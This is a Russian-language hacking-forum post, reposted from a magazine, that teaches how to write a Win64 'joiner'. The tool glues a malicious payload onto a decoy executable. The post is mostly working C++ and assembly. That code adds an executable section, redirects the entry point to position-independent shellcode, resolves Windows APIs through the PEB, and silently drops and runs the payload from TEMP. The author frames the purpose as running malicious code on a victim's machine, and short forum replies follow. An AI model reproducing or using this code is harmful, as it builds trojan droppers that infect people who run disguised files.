• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Качественная склейка. Пишем джоинер исполняемых файлов для Win64

dezertox

ripper
КИДАЛА
Регистрация
10.11.2020
Сообщения
12
Реакции
-1
Пожалуйста, обратите внимание, что пользователь заблокирован
Представим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.

Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.

А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .png или другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.


Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.

Код:
try {
    const auto goodfile = std::wstring(argv[1]);
    const auto badfile = std::wstring(argv[2]);
    const auto content = CreateData(badfile,goodfile);
    AddDataToFile(goodfile, content, L"fixed.exe");
}
catch (const std::exception& error)
{
    std::cout << error.what() << std::endl;
}

добавление секции


Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:

Код:
std::ifstream inputFile(inputPe, std::ios::binary);

if (inputFile.fail())
{
    const auto message = Utils::WideToString(L"Unable to open " + inputPe);
    throw std::logic_error(message);
}

Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку PE Bliss.

Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:

Код:
auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
pe_bliss::section newSection;
newSection.readable(true).writeable(true).executable(true);         // Секция получает атрибуты read + write + execute
newSection.set_name("joiner");                                      // Имя секции
newSection.set_raw_data(std::string(data.cbegin(), data.cend()));   // Контент секции
pe_bliss::section& added_section = peImage.add_section(newSection);
const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
{
    const auto num = value / aligned;
    return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
};

peImage.set_section_virtual_size(added_section,
alignUp(data.size(), peImage.get_section_alignment()));         // Виртуальный размер секции выравнивается в бОльшую сторону
peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));

Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:

Код:
struct HEAD
{
unsigned long long sizeOfPayload;
unsigned long long OEP;
};

Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа.

ассемблер и шелл-код


Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.



Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».

Таким образом, этот код:

- должен уметь работать с любого адреса, неважно, по какому адресу он оказался в памяти;
- должен находить адреса нужных ему функций.

дельта смещение


Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:

Код:
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
Вызов функции с учетом этого смещения выглядит так:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax

алгоритм запуска нагрузки


Шелл‑код работает так:

1. Ищет путь к директории TEMP.

2. Записывает туда файл с нагрузкой.

3. Запускает этот файл на выполнение.

4. Передает управление оригинальной точке входа оболочки.

В виде листинга это может выглядеть так:

Код:
void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
STARTUPINFOA startup{0};
PROCESS_INFORMATION procInfo{0};
const char surprise[] = "payload.exe";
const auto size = reinterpret_cast<gettemppatha*>(
addresses->GetTempPathA)(0, nullptr);
auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
(nullptr, size + sizeof(surprise),
MEM_COMMIT, PAGE_READWRITE);
if (!location)
{
return;
}
reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
(reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, 0, 0);
reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
sizeData, nullptr, nullptr);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
nullptr,
nullptr, nullptr, FALSE,
0, nullptr, nullptr, &startup, &procInfo);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}

Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:

Код:
struct API_Adresses
{
FARPROC GetTempPathA;
FARPROC VirtualAlloc;
FARPROC lstrcatA;
FARPROC CreateFileA;
FARPROC WriteFile;
FARPROC CloseHandle;
FARPROC CreateProcessA;
FARPROC VirtualFree;
};

Для работы алгоритма нам понадобится восемь функций


поиск api в памяти

Алгоритм достаточно прост:

  1. Ищем базу загрузки ntdll.dll.
  2. В таблице экспорта находим две функции: LdrGetDllHandle и LdrGetProcedureAddress.
  3. С их помощью находим адреса восьми функций из структуры API_Adresses.
База загрузки ntdll.dll ищется благодаря тому, что peb_loader_data принадлежит пространству ntdll.dll:

Код:
GetNtdllByModuleList:
mov     rax, gs:[60h]
mov     ecx, 5A4Dh
mov     rax, [rax+18h]
and     rax, 0FFFFFFFFFFFFF000h
try_again:
cmp     [rax], cx
jz      short finish
sub     rax, 1000h
jnz     short try_again
finish:
ret

Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):

Код:
;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm  proc
NtGetProcAddressAsm:
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
start:
found_dll:
mov rbx, rcx            ;get dll base addr — points to DOS "MZ" header
mov r9d, [rbx+3ch]      ;get DOS header e_lfanew field for offset to "PE" header
add r9, rbx             ;add to base — now r9 points to _image_nt_headers64
add r9, 88h             ;18h to optional header + 70h to data directories
;r9 now points to _image_data_directory[0] array entry
;which is the export directory
mov r13d, [r9]          ;get virtual address of export directory
test r13, r13           ;if zero, module does not have export table
jnz has_exports
xor rax, rax            ;no exports — function will not be found in dll
jmp done
has_exports:
lea r8, [rbx+r13]       ;add dll base to get actual memory address
;r8 points to _image_export_directory structure (see winnt.h)
mov r14d, [r9+4]        ;get size of export directory
add r14, r13            ;add base rva of export directory
;r13 and r14 now contain range of export directory
;will be used later to check if export is forwarded
mov ecx, [r8+18h]       ;NumberOfNames
mov r10d, [r8+20h]      ;AddressOfNames (array of RVAs)
add r10, rbx            ;add dll base
dec ecx                 ;point to last element in array (searching backwards)
for_each_func:
lea r9, [r10 + 4*rcx]   ;get current index in names array
mov edi, [r9]           ;get RVA of name
add rdi, rbx            ;add base
mov rsi, rdx            ;pointer to function we're looking for
compare_func:
cmpsb
jne wrong_func          ;function name doesn't match
mov al, [rsi]           ;current character of our function
test al, al             ;check for null terminator
jz bug_fix              ;bugfix here — doulbe check of zero byte
;if at the end of our string and all matched so far, found it
jmp compare_func        ;continue string comparison
wrong_func:
loop for_each_func      ;try next function in array
xor rax, rax            ;function not found in export table
jmp done
bug_fix:
mov al, [rdi]
test al, al
jz short found_func
jmp short compare_func
found_func:                 ;ecx is array index where function name found
;r8 points to _image_export_directory structure
mov r9d, [r8+24h]       ;AddressOfNameOrdinals (rva)
add r9, rbx             ;add dll base address
mov cx, [r9+2*rcx]      ;get ordinal value from array of words
mov r9d, [r8+1ch]       ;AddressOfFunctions (rva)
add r9, rbx             ;add dll base address
mov eax, [r9+rcx*4]     ;Get RVA of function using index
cmp rax, r13            ;see if func rva falls within range of export dir
jl not_forwarded
cmp rax, r14            ;if r13 <= func < r14 then forwarded
jae not_forwarded
;forwarded function address points to a string of the form <DLL name>.<function>
;note: dll name will be in uppercase
;extract the DLL name and add ".DLL"
lea rsi, [rax+rbx]      ;add base address to rva to get forwarded function name
lea rdi, [rsp+30h]      ;using register storage space on stack as a work area
mov r12, rdi            ;save pointer to beginning of string
copy_dll_name:
movsb
cmp byte ptr [rsi], 2eh     ;check for '.' (period) character
jne copy_dll_name
movsb                               ;also copy period
mov dword ptr [rdi], 004c4c44h      ;add "DLL" extension and null terminator
mov rcx, r12            ;r12 points to "<DLL name>.DLL" string on stack
call r15                ;call LoadLibraryA with target dll
mov rcx, r12            ;target dll name
mov rdx, rsi            ;target function name
jmp start               ;start over with new parameters
not_forwarded:
add rax, rbx            ;add base addr to rva to get function address
done:
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
ret

Когда у нас появились адреса двух краеугольных функций LdrGetDllHandle и LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:

Код:
GetProcedureAddressAsm:
var_28= word ptr -28h
var_26= word ptr -26h
var_20= qword ptr -20h
var_18= word ptr -18h
var_16= word ptr -16h
var_10= qword ptr -10h
arg_0= qword ptr  8
arg_8= qword ptr  10h
arg_10= qword ptr  18h
arg_18= qword ptr  20h
mov     [rsp+arg_10], rbx
mov     [rsp+arg_18], rsi
push    rdi
sub     rsp, 40h
xor     ebx, ebx
mov     rdi, rdx
test    rcx, rcx
mov     rdx, rcx
mov     ecx, ebx
mov     rsi, r9
mov     r10, r8
jz      short loc_14000689A
cmp     [rdx], cx
jz      short loc_140006898
nop     dword ptr [rax+00000000h]
loc_140006890:
inc     ecx
cmp     [rdx+rcx*2], bx
jnz     short loc_140006890
loc_140006898:
add     ecx, ecx
loc_14000689A:
mov     [rsp+48h+var_28], cx
lea     r9, [rsp+48h+arg_0]
add     cx, 2
mov     [rsp+48h+var_20], rdx
mov     [rsp+48h+var_26], cx
lea     r8, [rsp+48h+var_28]
xor     ecx, ecx
xor     edx, edx
call    r10
test    rdi, rdi
jz      short loc_1400068D0
cmp     byte ptr [rdi], 0
jz      short loc_1400068D0
loc_1400068C8:
inc     ebx
cmp     byte ptr [rbx+rdi], 0
jnz     short loc_1400068C8
loc_1400068D0:
mov     rcx, [rsp+48h+arg_0]
lea     r9, [rsp+48h+arg_8]
mov     [rsp+48h+var_18], bx
lea     rdx, [rsp+48h+var_18]
inc     bx
mov     [rsp+48h+var_10], rdi
xor     r8d, r8d
mov     [rsp+48h+var_16], bx
call    rsi
mov     rax, [rsp+48h+arg_8]
mov     rbx, [rsp+48h+arg_10]
mov     rsi, [rsp+48h+arg_18]
add     rsp, 40h
pop     rdi
ret

Непонятен ассемблерный код? Изначально этот код тоже написан на С++:

Код:
FARPROC GetProcedureAddress(wchar_t* library, char* function,
LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
UNICODE_STRING libraryName{ libNameLen,
libNameLen + sizeof(wchar_t),
library };
HMODULE hModule;
LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
ANSI_STRING functionName{ functionNameLen,
functionNameLen + sizeof(char),
function };
FARPROC result;
LdrGetProcedureAddress(hModule, &functionName, 0, &result);
return result;
}

Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):

Код:
API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
    API_Adresses result{};
    wchar_t* libname = L"kernel32.dll";
    result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
    LdrGetProcedureAddress);
    result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
    LdrGetProcedureAddress);
    return result;
}

Вся высокоуровневая логика выглядит следующим образом:

Код:
sizeOfPayload QWORD 0
OEP           QWORD 0
launcher proc
var_ntdllBase          = qword ptr -10h
var_ldrProcedureAddr   = qword ptr -20h
var_ldrLoadDll         = qword ptr -30h
var_delta              = qword ptr -40h
var_apis               = qword ptr -90h
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
sub rsp, 100h
mov [rsp+100h+var_delta], rax
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ntdllBase], rax
mov rcx, rax
lea rdx, getprocaddr
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrProcedureAddr], rax
mov rcx, [rsp+100h+var_ntdllBase]
lea rdx, getdllhandle
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrLoadDll], rax
mov rdx, rax
mov r8, [rsp+100h+var_ldrProcedureAddr]
mov r9, offset GetProcedureAddressAsm
add r9, [rsp+100h+var_delta]
lea rcx, [rsp+100h+var_apis]
mov rax, offset CreateAddressStructAsm
add rax, [rsp+100h+var_delta]
call rax
mov r8, rax
lea rdx, sizeOfPayload
mov rdx, qword ptr [rdx]
lea rcx, FinishMarker
mov rax, offset DropToDiskAndExecuteAsm
add rax, [rsp+100h+var_delta]
call rax
lea rax, OEP
mov rax, qword ptr [rax]
mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
mov rcx, [rcx+10h]
add rax, rcx
add rsp, 100h
jmp rax

Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом.

Источник: https://xakep.ru/2020/11/05/joiner-win64/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Поставь код в теги CODE, так невозможно нормально читать его.
 
Не мог бы реально закинуть для читабельности кода в теги, потому что аж кровь из глаз идет. Так все гуд, пробежался бегло. каменты и все такое, но стилизация желает лучшего)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну это просто для школьников ...
Ну это же статья из ксакепа, чего ты хочешь от нее? Зиродеев штоли?
 
Ну это же статья из ксакепа, чего ты хочешь от нее? Зиродеев штоли?
Штоли зиродееве было бы клёво а то мы с пацанами без зиродеев тут воще задубели
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх